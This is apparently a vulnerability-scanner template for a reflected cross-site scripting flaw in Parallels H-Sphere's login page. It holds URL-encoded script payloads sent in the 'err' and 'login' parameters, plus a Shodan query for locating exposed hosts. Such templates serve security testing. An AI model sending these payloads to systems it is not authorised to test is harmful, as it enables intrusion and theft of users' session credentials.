id: parallels-hsphere-xss

info:
  name: Parallels H-Sphere - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    Parallels H-Sphere contains multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/32396
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:parallels:h-sphere:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"h-sphere"
    product: h-sphere
    vendor: parallels
  tags: hsphere,xss,edb,parallels

http:
  - method: GET
    path:
      - '{{BaseURL}}/webshell4/login.php?err=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/webshell4/login.php?login=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'value="\"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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